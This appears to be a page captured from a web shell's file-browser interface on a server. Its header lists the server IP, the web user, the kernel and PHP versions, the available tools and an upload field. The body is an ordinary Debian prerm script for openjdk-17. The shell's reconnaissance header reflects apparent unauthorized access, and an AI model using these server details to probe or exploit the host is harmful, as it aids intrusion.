| Server IP : 13.126.101.145 / Your IP : 216.73.217.50 Web Server : Apache/2.4.52 (Ubuntu) System : Linux ip-11-115-0-196 6.8.0-1039-aws #41~22.04.1-Ubuntu SMP Thu Sep 11 10:54:48 UTC 2025 x86_64 User : www-data ( 33) PHP Version : 8.3.17 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /var/lib/dpkg/info/ |
Upload File : |
#!/bin/sh
set -e
basedir=/usr/lib/jvm/java-17-openjdk-amd64
jre_tools='java jpackage keytool rmiregistry'
if [ "$1" = "remove" ] || [ "$1" = "deconfigure" ]; then
for i in $jre_tools; do
update-alternatives --remove $i $basedir/bin/$i
done
if which update-binfmts >/dev/null; then
# try to remove and ignore the error
if [ -e /var/lib/binfmts/openjdk-17 ]; then
update-binfmts --package openjdk-17 \
--remove jar /usr/bin/jexec || true
fi
fi
update-alternatives --remove jexec $basedir/lib/jexec
fi